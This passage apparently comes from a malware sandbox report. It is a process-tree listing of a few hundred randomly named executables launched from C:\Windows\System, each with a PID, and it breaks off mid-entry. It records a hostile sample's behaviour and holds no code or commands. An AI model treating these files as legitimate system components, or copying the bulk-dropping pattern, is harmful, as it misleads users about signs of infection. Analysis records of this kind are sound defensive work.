- C:\Windows\System\rXptltR.exe
  C:\Windows\System\rXptltR.exe
  2⤵
  PID:13032
- C:\Windows\System\OIqNmdk.exe
  C:\Windows\System\OIqNmdk.exe
  2⤵
  PID:13100
- C:\Windows\System\QMAHhvI.exe
  C:\Windows\System\QMAHhvI.exe
  2⤵
  PID:13156
- C:\Windows\System\fjtTnkg.exe
  C:\Windows\System\fjtTnkg.exe
  2⤵
  PID:4948
- C:\Windows\System\SbGJlTo.exe
  C:\Windows\System\SbGJlTo.exe
  2⤵
  PID:13268
- C:\Windows\System\zGAnouK.exe
  C:\Windows\System\zGAnouK.exe
  2⤵
  PID:3708
- C:\Windows\System\jFntKEO.exe
  C:\Windows\System\jFntKEO.exe
  2⤵
  PID:11184
- C:\Windows\System\Qmlyxjg.exe
  C:\Windows\System\Qmlyxjg.exe
  2⤵
  PID:10436
- C:\Windows\System\INOmojY.exe
  C:\Windows\System\INOmojY.exe
  2⤵
  PID:1248
- C:\Windows\System\HGcdUgb.exe
  C:\Windows\System\HGcdUgb.exe
  2⤵
  PID:12224
- C:\Windows\System\vJmkbeM.exe
  C:\Windows\System\vJmkbeM.exe
  2⤵
  PID:4396
- C:\Windows\System\BTUGOMc.exe
  C:\Windows\System\BTUGOMc.exe
  2⤵
  PID:564
- C:\Windows\System\YERcXfB.exe
  C:\Windows\System\YERcXfB.exe
  2⤵
  PID:1324
- C:\Windows\System\nJtgmij.exe
  C:\Windows\System\nJtgmij.exe
  2⤵
  PID:10124
- C:\Windows\System\XHGFYZU.exe
  C:\Windows\System\XHGFYZU.exe
  2⤵
  PID:3104
- C:\Windows\System\EYARDMl.exe
  C:\Windows\System\EYARDMl.exe
  2⤵
  PID:11064
- C:\Windows\System\OcmmaXY.exe
  C:\Windows\System\OcmmaXY.exe
  2⤵
  PID:9812
- C:\Windows\System\jbKHbva.exe
  C:\Windows\System\jbKHbva.exe
  2⤵
  PID:3356
- C:\Windows\System\etLtfAn.exe
  C:\Windows\System\etLtfAn.exe
  2⤵
  PID:12064
- C:\Windows\System\AEvWUwA.exe
  C:\Windows\System\AEvWUwA.exe
  2⤵
  PID:10888
- C:\Windows\System\WJfNPgQ.exe
  C:\Windows\System\WJfNPgQ.exe
  2⤵
  PID:12048
- C:\Windows\System\gpWqFBT.exe
  C:\Windows\System\gpWqFBT.exe
  2⤵
  PID:13244
- C:\Windows\System\LTgiPSC.exe
  C:\Windows\System\LTgiPSC.exe
  2⤵
  PID:11404
- C:\Windows\System\MneAkKZ.exe
  C:\Windows\System\MneAkKZ.exe
  2⤵
  PID:12356
- C:\Windows\System\zyfginZ.exe
  C:\Windows\System\zyfginZ.exe
  2⤵
  PID:6272
- C:\Windows\System\ZhhWaLY.exe
  C:\Windows\System\ZhhWaLY.exe
  2⤵
  PID:12588
- C:\Windows\System\FysNRfd.exe
  C:\Windows\System\FysNRfd.exe
  2⤵
  PID:10272
- C:\Windows\System\fxqysWH.exe
  C:\Windows\System\fxqysWH.exe
  2⤵
  PID:12736
- C:\Windows\System\GJrcseS.exe
  C:\Windows\System\GJrcseS.exe
  2⤵
  PID:11440
- C:\Windows\System\Idbiivu.exe
  C:\Windows\System\Idbiivu.exe
  2⤵
  PID:11668
- C:\Windows\System\gfBnwsN.exe
  C:\Windows\System\gfBnwsN.exe
  2⤵
  PID:11336
- C:\Windows\System\MIkHUZr.exe
  C:\Windows\System\MIkHUZr.exe
  2⤵
  PID:9912
- C:\Windows\System\nCJukeb.exe
  C:\Windows\System\nCJukeb.exe
  2⤵
  PID:12140
- C:\Windows\System\SpjpjdK.exe
  C:\Windows\System\SpjpjdK.exe
  2⤵
  PID:13084
- C:\Windows\System\Xfdikbc.exe
  C:\Windows\System\Xfdikbc.exe
  2⤵
  PID:10864
- C:\Windows\System\DAvwqPd.exe
  C:\Windows\System\DAvwqPd.exe
  2⤵
  PID:11852
- C:\Windows\System\hzejiXK.exe
  C:\Windows\System\hzejiXK.exe
  2⤵
  PID:9992
- C:\Windows\System\SoaWugb.exe
  C:\Windows\System\SoaWugb.exe
  2⤵
  PID:12836
- C:\Windows\System\dnTbUCj.exe
  C:\Windows\System\dnTbUCj.exe
  2⤵
  PID:8376
- C:\Windows\System\LKvyNdS.exe
  C:\Windows\System\LKvyNdS.exe
  2⤵
  PID:5908
- C:\Windows\System\xIoSeMA.exe
  C:\Windows\System\xIoSeMA.exe
  2⤵
  PID:5592
- C:\Windows\System\Ixfcewd.exe
  C:\Windows\System\Ixfcewd.exe
  2⤵
  PID:12236
- C:\Windows\System\aTYnrxP.exe
  C:\Windows\System\aTYnrxP.exe
  2⤵
  PID:8048
- C:\Windows\System\xbCuSEg.exe
  C:\Windows\System\xbCuSEg.exe
  2⤵
  PID:6264
- C:\Windows\System\UpPEzOT.exe
  C:\Windows\System\UpPEzOT.exe
  2⤵
  PID:8324
- C:\Windows\System\Qroybmx.exe
  C:\Windows\System\Qroybmx.exe
  2⤵
  PID:6256
- C:\Windows\System\WTIfJUu.exe
  C:\Windows\System\WTIfJUu.exe
  2⤵
  PID:9012
- C:\Windows\System\fTMdyGz.exe
  C:\Windows\System\fTMdyGz.exe
  2⤵
  PID:11432
- C:\Windows\System\koXoJtg.exe
  C:\Windows\System\koXoJtg.exe
  2⤵
  PID:2400
- C:\Windows\System\SejHANM.exe
  C:\Windows\System\SejHANM.exe
  2⤵
  PID:13012
- C:\Windows\System\cGiCVhk.exe
  C:\Windows\System\cGiCVhk.exe
  2⤵
  PID:10808
- C:\Windows\System\oPnyMVm.exe
  C:\Windows\System\oPnyMVm.exe
  2⤵
  PID:4116
- C:\Windows\System\TQVHPDK.exe
  C:\Windows\System\TQVHPDK.exe
  2⤵
  PID:12692
- C:\Windows\System\FCdZVqe.exe
  C:\Windows\System\FCdZVqe.exe
  2⤵
  PID:12872
- C:\Windows\System\mfbjUoL.exe
  C:\Windows\System\mfbjUoL.exe
  2⤵
  PID:11012
- C:\Windows\System\ctWsruE.exe
  C:\Windows\System\ctWsruE.exe
  2⤵
  PID:1920
- C:\Windows\System\YImhMdv.exe
  C:\Windows\System\YImhMdv.exe
  2⤵
  PID:11324
- C:\Windows\System\vuwnIJk.exe
  C:\Windows\System\vuwnIJk.exe
  2⤵
  PID:13276
- C:\Windows\System\aGgadEX.exe
  C:\Windows\System\aGgadEX.exe
  2⤵
  PID:12924
- C:\Windows\System\aiJluME.exe
  C:\Windows\System\aiJluME.exe
  2⤵
  PID:3004
- C:\Windows\System\TSLJBqx.exe
  C:\Windows\System\TSLJBqx.exe
  2⤵
  PID:6612
- C:\Windows\System\FrRDbtc.exe
  C:\Windows\System\FrRDbtc.exe
  2⤵
  PID:2020
- C:\Windows\System\CwmNetb.exe
  C:\Windows\System\CwmNetb.exe
  2⤵
  PID:12624
- C:\Windows\System\NHsWBEK.exe
  C:\Windows\System\NHsWBEK.exe
  2⤵
  PID:2244
- C:\Windows\System\sKqKjDX.exe
  C:\Windows\System\sKqKjDX.exe
  2⤵
  PID:13332
- C:\Windows\System\qNiQHCz.exe
  C:\Windows\System\qNiQHCz.exe
  2⤵
  PID:13352
- C:\Windows\System\DlhFVwa.exe
  C:\Windows\System\DlhFVwa.exe
  2⤵
  PID:13380
- C:\Windows\System\ErrHcna.exe
  C:\Windows\System\ErrHcna.exe
  2⤵
  PID:13400
- C:\Windows\System\YLMaRLn.exe
  C:\Windows\System\YLMaRLn.exe
  2⤵
  PID:13492
- C:\Windows\System\obJuxxY.exe
  C:\Windows\System\obJuxxY.exe
  2⤵
  PID:13512
- C:\Windows\System\rCwHgth.exe
  C:\Windows\System\rCwHgth.exe
  2⤵
  PID:13528
- C:\Windows\System\IcwFCVL.exe
  C:\Windows\System\IcwFCVL.exe
  2⤵
  PID:13876
- C:\Windows\System\LvxsKbe.exe
  C:\Windows\System\LvxsKbe.exe
  2⤵
  PID:13896
- C:\Windows\System\IYuAFgs.exe
  C:\Windows\System\IYuAFgs.exe
  2⤵
  PID:13920
- C:\Windows\System\mkHGjPo.exe
  C:\Windows\System\mkHGjPo.exe
  2⤵
  PID:13940
- C:\Windows\System\rUcjUDE.exe
  C:\Windows\System\rUcjUDE.exe
  2⤵
  PID:13956
- C:\Windows\System\yEbFhsS.exe
  C:\Windows\System\yEbFhsS.exe
  2⤵
  PID:13972
- C:\Windows\System\gIAjcVt.exe
  C:\Windows\System\gIAjcVt.exe
  2⤵
  PID:14036
- C:\Windows\System\qjZlXtb.exe
  C:\Windows\System\qjZlXtb.exe
  2⤵
  PID:2828
- C:\Windows\System\uuJabLI.exe
  C:\Windows\System\uuJabLI.exe
  2⤵
  PID:1760
- C:\Windows\System\IpQivgC.exe
  C:\Windows\System\IpQivgC.exe
  2⤵
  PID:13364
- C:\Windows\System\CBkCZdv.exe
  C:\Windows\System\CBkCZdv.exe
  2⤵
  PID:13424
- C:\Windows\System\heqkVyU.exe
  C:\Windows\System\heqkVyU.exe
  2⤵
  PID:4748
- C:\Windows\System\VlgGoHw.exe
  C:\Windows\System\VlgGoHw.exe
  2⤵
  PID:13508
- C:\Windows\System\GUXaIMx.exe
  C:\Windows\System\GUXaIMx.exe
  2⤵
  PID:468
- C:\Windows\System\kTuKdDK.exe
  C:\Windows\System\kTuKdDK.exe
  2⤵
  PID:13420
- C:\Windows\System\VtrVwdD.exe
  C:\Windows\System\VtrVwdD.exe
  2⤵
  PID:2944
- C:\Windows\System\qunEnOO.exe
  C:\Windows\System\qunEnOO.exe
  2⤵
  PID:13452
- C:\Windows\System\IWajhya.exe
  C:\Windows\System\IWajhya.exe
  2⤵
  PID:3696
- C:\Windows\System\OUMtoUz.exe
  C:\Windows\System\OUMtoUz.exe
  2⤵
  PID:13520
- C:\Windows\System\plwSMlW.exe
  C:\Windows\System\plwSMlW.exe
  2⤵
  PID:13552
- C:\Windows\System\QZWRmqC.exe
  C:\Windows\System\QZWRmqC.exe
  2⤵
  PID:13632
- C:\Windows\System\NJGdCVV.exe
  C:\Windows\System\NJGdCVV.exe
  2⤵
  PID:13652
- C:\Windows\System\hsbLMlF.exe
  C:\Windows\System\hsbLMlF.exe
  2⤵
  PID:3252
- C:\Windows\System\mvjLzqc.exe
  C:\Windows\System\mvjLzqc.exe
  2⤵
  PID:13628
- C:\Windows\System\bymaWbc.exe
  C:\Windows\System\bymaWbc.exe
  2⤵
  PID:4528
- C:\Windows\System\FKLXsJc.exe
  C:\Windows\System\FKLXsJc.exe
  2⤵
  PID:13812
- C:\Windows\System\xkkcUep.exe
  C:\Windows\System\xkkcUep.exe
  2⤵
  PID:13724
- C:\Windows\System\fTrEASj.exe
  C:\Windows\System\fTrEASj.exe
  2⤵
  PID:13988
- C:\Windows\System\XqRYmdq.exe
  C:\Windows\System\XqRYmdq.exe
  2⤵
  PID:4356
- C:\Windows\System\CmzHSVA.exe
  C:\Windows\System\CmzHSVA.exe
  2⤵
  PID:13844
- C:\Windows\System\MqqKCBe.exe
  C:\Windows\System\MqqKCBe.exe
  2⤵
  PID:1384
- C:\Windows\System\BwcIRFG.exe
  C:\Windows\System\BwcIRFG.exe
  2⤵
  PID:1068
- C:\Windows\System\uCCRJGd.exe
  C:\Windows\System\uCCRJGd.exe
  2⤵
  PID:14024
- C:\Windows\System\XeMnsOp.exe
  C:\Windows\System\XeMnsOp.exe
  2⤵
  PID:13780
- C:\Windows\System\rSWkSKx.exe
  C:\Windows\System\rSWkSKx.exe
  2⤵
  PID:13888
- C:\Windows\System\umFgDmm.exe
  C:\Windows\System\umFgDmm.exe
  2⤵
  PID:14108
- C:\Windows\System\CKAcdDU.exe
  C:\Windows\System\CKAcdDU.exe
  2⤵
  PID:632
- C:\Windows\System\zUiuZDN.exe
  C:\Windows\System\zUiuZDN.exe
  2⤵
  PID:14180
- C:\Windows\System\foFDVBL.exe
  C:\Windows\System\foFDVBL.exe
  2⤵
  PID:14244
- C:\Windows\System\tbHUPsr.exe
  C:\Windows\System\tbHUPsr.exe
  2⤵
  PID:13872
- C:\Windows\System\qGBzDPL.exe
  C:\Windows\System\qGBzDPL.exe
  2⤵
  PID:13996
- C:\Windows\System\ukjdQiC.exe
  C:\Windows\System\ukjdQiC.exe
  2⤵
  PID:400
- C:\Windows\System\FZqRmtk.exe
  C:\Windows\System\FZqRmtk.exe
  2⤵
  PID:10060
- C:\Windows\System\INwpwQb.exe
  C:\Windows\System\INwpwQb.exe
  2⤵
  PID:3876
- C:\Windows\System\tJOCvNQ.exe
  C:\Windows\System\tJOCvNQ.exe
  2⤵
  PID:13388
- C:\Windows\System\NbLcwPh.exe
  C:\Windows\System\NbLcwPh.exe
  2⤵
  PID:4524
- C:\Windows\System\hgVcjgV.exe
  C:\Windows\System\hgVcjgV.exe
  2⤵
  PID:1476
- C:\Windows\System\QTXJSSl.exe
  C:\Windows\System\QTXJSSl.exe
  2⤵
  PID:13688
- C:\Windows\System\dKvmUnG.exe
  C:\Windows\System\dKvmUnG.exe
  2⤵
  PID:584
- C:\Windows\System\klTozqw.exe
  C:\Windows\System\klTozqw.exe
  2⤵
  PID:10776
- C:\Windows\System\QVbRWYL.exe
  C:\Windows\System\QVbRWYL.exe
  2⤵
  PID:5000
- C:\Windows\System\gXsdMuK.exe
  C:\Windows\System\gXsdMuK.exe
  2⤵
  PID:3192
- C:\Windows\System\BHnBrXu.exe
  C:\Windows\System\BHnBrXu.exe
  2⤵
  PID:4460
- C:\Windows\System\ksuuAnm.exe
  C:\Windows\System\ksuuAnm.exe
  2⤵
  PID:1116
- C:\Windows\System\onmPkPF.exe
  C:\Windows\System\onmPkPF.exe
  2⤵
  PID:4624
- C:\Windows\System\sxhWzIX.exe
  C:\Windows\System\sxhWzIX.exe
  2⤵
  PID:13984
- C:\Windows\System\DavKbLl.exe
  C:\Windows\System\DavKbLl.exe
  2⤵
  PID:4236
- C:\Windows\System\fhnjcKr.exe
  C:\Windows\System\fhnjcKr.exe
  2⤵
  PID:2216
- C:\Windows\System\DffnKLq.exe
  C:\Windows\System\DffnKLq.exe
  2⤵
  PID:14292
- C:\Windows\System\OFqpqFe.exe
  C:\Windows\System\OFqpqFe.exe
  2⤵
  PID:14168
- C:\Windows\System\cectHuq.exe
  C:\Windows\System\cectHuq.exe
  2⤵
  PID:14056
- C:\Windows\System\iltUoIN.exe
  C:\Windows\System\iltUoIN.exe
  2⤵
  PID:14308
- C:\Windows\System\nRMpxtf.exe
  C:\Windows\System\nRMpxtf.exe
  2⤵
  PID:2636
- C:\Windows\System\ycnOQiT.exe
  C:\Windows\System\ycnOQiT.exe
  2⤵
  PID:2008
- C:\Windows\System\EjoovpV.exe
  C:\Windows\System\EjoovpV.exe
  2⤵
  PID:13360
- C:\Windows\System\LGBKjWB.exe
  C:\Windows\System\LGBKjWB.exe
  2⤵
  PID:13504
- C:\Windows\System\jYuVXLV.exe
  C:\Windows\System\jYuVXLV.exe
  2⤵
  PID:1576
- C:\Windows\System\KhyBnLm.exe
  C:\Windows\System\KhyBnLm.exe
  2⤵
  PID:3376
- C:\Windows\System\EAGztlh.exe
  C:\Windows\System\EAGztlh.exe
  2⤵
  PID:13576
- C:\Windows\System\hQtUaej.exe
  C:\Windows\System\hQtUaej.exe
  2⤵
  PID:5400
- C:\Windows\System\CXaBvfd.exe
  C:\Windows\System\CXaBvfd.exe
  2⤵
  PID:13664
- C:\Windows\System\LdGtOTb.exe
  C:\Windows\System\LdGtOTb.exe
  2⤵
  PID:3836
- C:\Windows\System\HzCreIW.exe
  C:\Windows\System\HzCreIW.exe
  2⤵
  PID:996
- C:\Windows\System\tlMKkdH.exe
  C:\Windows\System\tlMKkdH.exe
  2⤵
  PID:5392
- C:\Windows\System\VXpQXHx.exe
  C:\Windows\System\VXpQXHx.exe
  2⤵
  PID:5216
- C:\Windows\System\wjeXJnY.exe
  C:\Windows\System\wjeXJnY.exe
  2⤵
  PID:4736
- C:\Windows\System\jadgmSC.exe
  C:\Windows\System\jadgmSC.exe
  2⤵
  PID:5192
- C:\Windows\System\hTnYTMr.exe
  C:\Windows\System\hTnYTMr.exe
  2⤵
  PID:5448
- C:\Windows\System\SSFrpyo.exe
  C:\Windows\System\SSFrpyo.exe
  2⤵
  PID:1460
- C:\Windows\System\KJxvqwO.exe
  C:\Windows\System\KJxvqwO.exe
  2⤵
  PID:13572
- C:\Windows\System\nYKpbji.exe
  C:\Windows\System\nYKpbji.exe
  2⤵
  PID:3956
- C:\Windows\System\YVesIRk.exe
  C:\Windows\System\YVesIRk.exe
  2⤵
  PID:5424
- C:\Windows\System\zMxQKWc.exe
  C:\Windows\System\zMxQKWc.exe
  2⤵
  PID:1928
- C:\Windows\System\IdPwbZx.exe
  C:\Windows\System\IdPwbZx.exe
  2⤵
  PID:5964
- C:\Windows\System\FjbIrSg.exe
  C:\Windows\System\FjbIrSg.exe
  2⤵
  PID:5456
- C:\Windows\System\twhMntQ.exe
  C:\Windows\System\twhMntQ.exe
  2⤵
  PID:5540
- C:\Windows\System\ryHaylg.exe
  C:\Windows\System\ryHaylg.exe
  2⤵
  PID:3812
- C:\Windows\System\tfMoGJv.exe
  C:\Windows\System\tfMoGJv.exe
  2⤵
  PID:14104
- C:\Windows\System\uWJdALc.exe
  C:\Windows\System\uWJdALc.exe
  2⤵
  PID:6080
- C:\Windows\System\enxQYii.exe
  C:\Windows\System\enxQYii.exe
  2⤵
  PID:6056
- C:\Windows\System\hDXjTnR.exe
  C:\Windows\System\hDXjTnR.exe
  2⤵
  PID:6060
- C:\Windows\System\heIwFFv.exe
  C:\Windows\System\heIwFFv.exe
  2⤵
  PID:6128
- C:\Windows\System\EfQczFs.exe
  C:\Windows\System\EfQczFs.exe
  2⤵
  PID:14316
- C:\Windows\System\lHcafgK.exe
  C:\Windows\System\lHcafgK.exe
  2⤵
  PID:6088
- C:\Windows\System\WsTjMuu.exe
  C:\Windows\System\WsTjMuu.exe
  2⤵
  PID:5292
- C:\Windows\System\lmCYJqS.exe
  C:\Windows\System\lmCYJqS.exe
  2⤵
  PID:5824
- C:\Windows\System\OoeZiUW.exe
  C:\Windows\System\OoeZiUW.exe
  2⤵
  PID:3236
- C:\Windows\System\wnBBdRg.exe
  C:\Windows\System\wnBBdRg.exe
  2⤵
  PID:3352
- C:\Windows\System\lqQeOTq.exe
  C:\Windows\System\lqQeOTq.exe
  2⤵
  PID:5916
- C:\Windows\System\IOBqjxy.exe
  C:\Windows\System\IOBqjxy.exe
  2⤵
  PID:5412
- C:\Windows\System\EiSqUlg.exe
  C:\Windows\System\EiSqUlg.exe
  2⤵
  PID:5408
- C:\Windows\System\aOCCdlW.exe
  C:\Windows\System\aOCCdlW.exe
  2⤵
  PID:5188
- C:\Windows\System\ObcHsVw.exe
  C:\Windows\System\ObcHsVw.exe
  2⤵
  PID:3440
- C:\Windows\System\avQUkVW.exe
  C:\Windows\System\avQUkVW.exe
  2⤵
  PID:5788
- C:\Windows\System\TacaFvE.exe
  C:\Windows\System\TacaFvE.exe
  2⤵
  PID:4384
- C:\Windows\System\vHWktYB.exe
  C:\Windows\System\vHWktYB.exe
  2⤵
  PID:14300
- C:\Windows\System\BPbgyHa.exe
  C:\Windows\System\BPbgyHa.exe
  2⤵
  PID:6116
- C:\Windows\System\ejlTuge.exe
  C:\Windows\System\ejlTuge.exe
  2⤵
  PID:5852
- C:\Windows\System\ndrtgca.exe
  C:\Windows\System\ndrtgca.exe
  2⤵
  PID:2160
- C:\Windows\System\dDvhIzv.exe
  C:\Windows\System\dDvhIzv.exe
  2⤵
  PID:5972
- C:\Windows\System\aQhYKJr.exe
  C:\Windows\System\aQhYKJr.exe
  2⤵
  PID:6192
- C:\Windows\System\WETDDOY.exe
  C:\Windows\System\WETDDOY.exe
  2⤵
  PID:6196
- C:\Windows\System\nocPYPx.exe
  C:\Windows\System\nocPYPx.exe
  2⤵
  PID:4752
- C:\Windows\System\ToMppok.exe
  C:\Windows\System\ToMppok.exe
  2⤵
  PID:5460
- C:\Windows\System\AwFJOWk.exe
  C:\Windows\System\AwFJOWk.exe
  2⤵
  PID:5728
- C:\Windows\System\JZHXaPs.exe
  C:\Windows\System\JZHXaPs.exe
  2⤵
  PID:6184
- C:\Windows\System\eDTELCt.exe
  C:\Windows\System\eDTELCt.exe
  2⤵
  PID:13548
- C:\Windows\System\hPvtYAf.exe
  C:\Windows\System\hPvtYAf.exe
  2⤵
  PID:5940
- C:\Windows\System\ZIOUayX.exe
  C:\Windows\System\ZIOUayX.exe
  2⤵
  PID:5864
- C:\Windows\System\ulAJNkD.exe
  C:\Windows\System\ulAJNkD.exe
  2⤵
  PID:6220
- C:\Windows\System\NFfkKga.exe
  C:\Windows\System\NFfkKga.exe
  2⤵
  PID:5048
- C:\Windows\System\xPnKvqq.exe
  C:\Windows\System\xPnKvqq.exe
  2⤵
  PID:5488
- C:\Windows\System\ZHEoUbw.exe
  C:\Windows\System\ZHEoUbw.exe
  2⤵
  PID:14120
- C:\Windows\System\zmIqosI.exe
  C:\Windows\System\zmIqosI.exe
  2⤵
  PID:14260
- C:\Windows\System\zpfiSvV.exe
  C:\Windows\System\zpfiSvV.exe
  2⤵
  PID:7140
- C:\Windows\System\BHJSBpg.exe
  C:\Windows\System\BHJSBpg.exe
  2⤵
  PID:14080
- C:\Windows\System\DzGKsyJ.exe
  C:\Windows\System\DzGKsyJ.exe
  2⤵
  PID:528
- C:\Windows\System\Zmdzzcv.exe
  C:\Windows\System\Zmdzzcv.exe
  2⤵
  PID:14276
- C:\Windows\System\UXSWSqg.exe
  C:\Windows\System\UXSWSqg.exe
  2⤵
  PID:6472
- C:\Windows\System\WNPMvuh.exe
  C:\Windows\System\WNPMvuh.exe
  2⤵
  PID:6724
- C:\Windows\System\WonylBE.exe
  C:\Windows\System\WonylBE.exe
  2⤵
  PID:6204
- C:\Windows\System\XAgMdEJ.exe
  C:\Windows\System\XAgMdEJ.exe
  2⤵
  PID:14192
- C:\Windows\System\YrAEkBB.exe
  C:\Windows\System\YrAEkBB.exe
  2⤵
  PID:14160
- C:\Windows\System\eZEGURE.exe
  C:\Windows\System\eZEGURE.exe
  2⤵
  PID:6796
- C:\Windows\System\dNfcKFr.exe
  C:\Windows\System\dNfcKFr.exe
  2⤵
  PID:5152
- C:\Windows\System\ixALvHu.exe
  C:\Windows\System\ixALvHu.exe
  2⤵
  PID:6932
- C:\Windows\System\msPNwsx.exe
  C:\Windows\System\msPNwsx.exe
  2⤵
  PID:4328
- C:\Windows\System\qWKShvi.exe
  C:\Windows\System\qWKShvi.exe
  2⤵
  PID:5560
- C:\Windows\System\YUOZCsa.exe
  C:\Windows\System\YUOZCsa.exe
  2⤵
  PID:5288
- C:\Windows\System\TzdsTQu.exe
  C:\Windows\System\TzdsTQu.exe
  2⤵
  PID:5452
- C:\Windows\System\KPlJPpH.exe
  C:\Windows\System\KPlJPpH.exe
  2⤵
  PID:6244
- C:\Windows\System\fkXxLCZ.exe
  C:\Windows\System\fkXxLCZ.exe
  2⤵
  PID:6996
- C:\Windows\System\dXVoZTv.exe
  C:\Windows\System\dXVoZTv.exe
  2⤵
  PID:944
- C:\Windows\System\ovykWsS.exe
  C:\Windows\System\ovykWsS.exe
  2⤵
  PID:1488
- C:\Windows\System\xhiSzRy.exe
  C:\Windows\System\xhiSzRy.exe
  2⤵
  PID:5376
- C:\Windows\System\kYhUyLk.exe
  C:\Windows\System\kYhUyLk.exe
  2⤵
  PID:7108
- C:\Windows\System\RlWEjFg.exe
  C:\Windows\System\RlWEjFg.exe
  2⤵
  PID:5368
- C:\Windows\System\MwtzNip.exe
  C:\Windows\System\MwtzNip.exe
  2⤵
  PID:14368
- C:\Windows\System\hNCiyAb.exe
  C:\Windows\System\hNCiyAb.exe
  2⤵
  PID:14424
- C:\Windows\System\IDsFrVN.exe
  C:\Windows\System\IDsFrVN.exe
  2⤵
  PID:14468
- C:\Windows\System\EqYHDyM.exe
  C:\Windows\System\EqYHDyM.exe
  2⤵
  PID:14504
- C:\Windows\System\iMXnrSm.exe
  C:\Windows\System\iMXnrSm.exe
  2⤵
  PID:14536
- C:\Windows\System\YIppJjl.exe
  C:\Windows\System\YIppJjl.exe
  2⤵
  PID:14588
- C:\Windows\System\NBArSan.exe
  C:\Windows\System\NBArSan.exe
  2⤵
  PID:14728
- C:\Windows\System\vFatLRT.exe
  C:\Windows\System\vFatLRT.exe
  2⤵
  PID:14748
- C:\Windows\System\FqUacgl.exe
  C:\Windows\System\FqUacgl.exe
  2⤵
  PID:14772
- C:\Windows\System\ISuAcaW.exe
  C:\Windows\System\ISuAcaW.exe
  2⤵
  PID:14800
- C:\Windows\System\vZsTHXS.exe
  C:\Windows\System\vZsTHXS.exe
  2⤵
  PID:14820
- C:\Windows\System\uIxTbVy.exe
  C:\Windows\System\uIxTbVy.exe
  2⤵
  PID:14852
- C:\Windows\System\DuwRCUE.exe
  C:\Windows\System\DuwRCUE.exe
  2⤵
  PID:14880
- C:\Windows\System\ywjNlWw.exe
  C:\Windows\System\ywjNlWw.exe
  2⤵
  PID:14908
- C:\Windows\System\mtEDFCn.exe
  C:\Windows\System\mtEDFCn.exe
  2⤵
  PID:14972
- C:\Windows\System\iRIfgeY.exe
  C:\Windows\System\iRIfgeY.exe
  2⤵
  PID:14996
- C:\Windows\System\ditNLEO.exe
  C:\Windows\System\ditNLEO.exe
  2⤵
  PID:15096
- C:\Windows\System\MXZQDSm.exe
  C:\Windows\System\MXZQDSm.exe
  2⤵
  PID:15124
- C:\Windows\System\wapRGzt.exe
  C:\Windows\System\wapRGzt.exe
  2⤵
  PID:15180
- C:\Windows\System\RLZDEuN.exe
  C:\Windows\System\RLZDEuN.exe
  2⤵
  PID:15200
- C:\Windows\System\DIisTpF.exe
  C:\Windows\System\DIisTpF.exe
  2⤵
  PID:15228
- C:\Windows\System\VuZChKV.exe
  C:\Windows\System\VuZChKV.exe
  2⤵
  PID:15256
- C:\Windows\System\gbLAeWU.exe
  C:\Windows\System\gbLAeWU.exe
  2⤵
  PID:15300
- C:\Windows\System\HqXLYOc.exe
  C:\Windows\System\HqXLYOc.exe
  2⤵
  PID:15336
- C:\Windows\System\ELufKng.exe
  C:\Windows\System\ELufKng.exe
  2⤵
  PID:15352
- C:\Windows\System\fZsIEmM.exe
  C:\Windows\System\fZsIEmM.exe
  2⤵
  PID:6844
- C:\Windows\System\oYeFlXH.exe
  C:\Windows\System\oYeFlXH.exe
  2⤵
  PID:5644
- C:\Windows\System\DMqnzYe.exe
  C:\Windows\System\DMqnzYe.exe
  2⤵
  PID:7100
- C:\Windows\System\pUqWBMa.exe
  C:\Windows\System\pUqWBMa.exe
  2⤵
  PID:6536
- C:\Windows\System\guzWjAM.exe
  C:\Windows\System\guzWjAM.exe
  2⤵
  PID:7132
- C:\Windows\System\qufwUkE.exe
  C:\Windows\System\qufwUkE.exe
  2⤵
  PID:14364
- C:\Windows\System\vNUdBMh.exe
  C:\Windows\System\vNUdBMh.exe
  2⤵
  PID:6532
- C:\Windows\System\yDUtnaJ.exe
  C:\Windows\System\yDUtnaJ.exe
  2⤵
  PID:14484
- C:\Windows\System\vUzTxuQ.exe
  C:\Windows\System\vUzTxuQ.exe
  2⤵
  PID:14456
- C:\Windows\System\IebHMeO.exe
  C:\Windows\System\IebHMeO.exe
  2⤵
  PID:14644
- C:\Windows\System\cdrLNMS.exe
  C:\Windows\System\cdrLNMS.exe
  2⤵
  PID:14672
- C:\Windows\System\ZAkrnBp.exe
  C:\Windows\System\ZAkrnBp.exe
  2⤵
  PID:4372
- C:\Windows\System\zkFniTy.exe
  C:\Windows\System\zkFniTy.exe
  2⤵
  PID:14712
- C:\Windows\System\GjHgqyM.exe
  C:\Windows\System\GjHgqyM.exe
  2⤵
  PID:14680
- C:\Windows\System\BOhrxsh.exe
  C:\Windows\System\BOhrxsh.exe
  2⤵
  PID:7804
- C:\Windows\System\VoqyadN.exe
  C:\Windows\System\VoqyadN.exe
  2⤵
  PID:14952
- C:\Windows\System\aDxnAOq.exe
  C:\Windows\System\aDxnAOq.exe
  2⤵
  PID:14980
- C:\Windows\System\VGddlYK.exe
  C:\Windows\System\VGddlYK.exe
  2⤵
  PID:15020
- C:\Windows\System\ZpwzQiB.exe
  C:\Windows\System\ZpwzQiB.exe
  2⤵
  PID:15084
- C:\Windows\System\lirxxgv.exe
  C:\Windows\System\lirxxgv.exe
  2⤵
  PID:7292
- C:\Windows\System\GTuhPhX.exe
  C:\Windows\System\GTuhPhX.exe
  2⤵
  PID:7416
- C:\Windows\System\ZAijghV.exe
  C:\Windows\System\ZAijghV.exe
  2⤵
  PID:15168
- C:\Windows\System\Oojzuco.exe
  C:\Windows\System\Oojzuco.exe
  2⤵
  PID:15212
- C:\Windows\System\orMGYMq.exe
  C:\Windows\System\orMGYMq.exe
  2⤵
  PID:7536
- C:\Windows\System\acRcimK.exe
  C:\Windows\System\acRcimK.exe
  2⤵
  PID:6556
- C:\Windows\System\EOFeVpt.exe
  C:\Windows\System\EOFeVpt.exe
  2⤵
  PID:7528
- C:\Windows\System\ytZMisY.exe
  C:\Windows\System\ytZMisY.exe
  2⤵
  PID:15244
- C:\Windows\System\HLbqBzU.exe
  C:\Windows\System\HLbqBzU.exe
  2⤵
  PID:15248
- C:\Windows\System\qZdKKgj.exe
  C:\Windows\System\qZdKKgj.exe
  2⤵
  PID:15332
- C:\Windows\System\HnJZhsu.exe
  C:\Windows\System\HnJZhsu.exe
  2⤵
  PID:5684
- C:\Windows\System\HplYSlF.exe
  C:\Windows\System\HplYSlF.exe
  2⤵
  PID:7116
- C:\Windows\System\wtwbJST.exe
  C:\Windows\System\wtwbJST.exe
  2⤵
  PID:4904
- C:\Windows\System\wXdZrmJ.exe
  C:\Windows\System\wXdZrmJ.exe
  2⤵
  PID:14436
- C:\Windows\System\yKPOaIN.exe
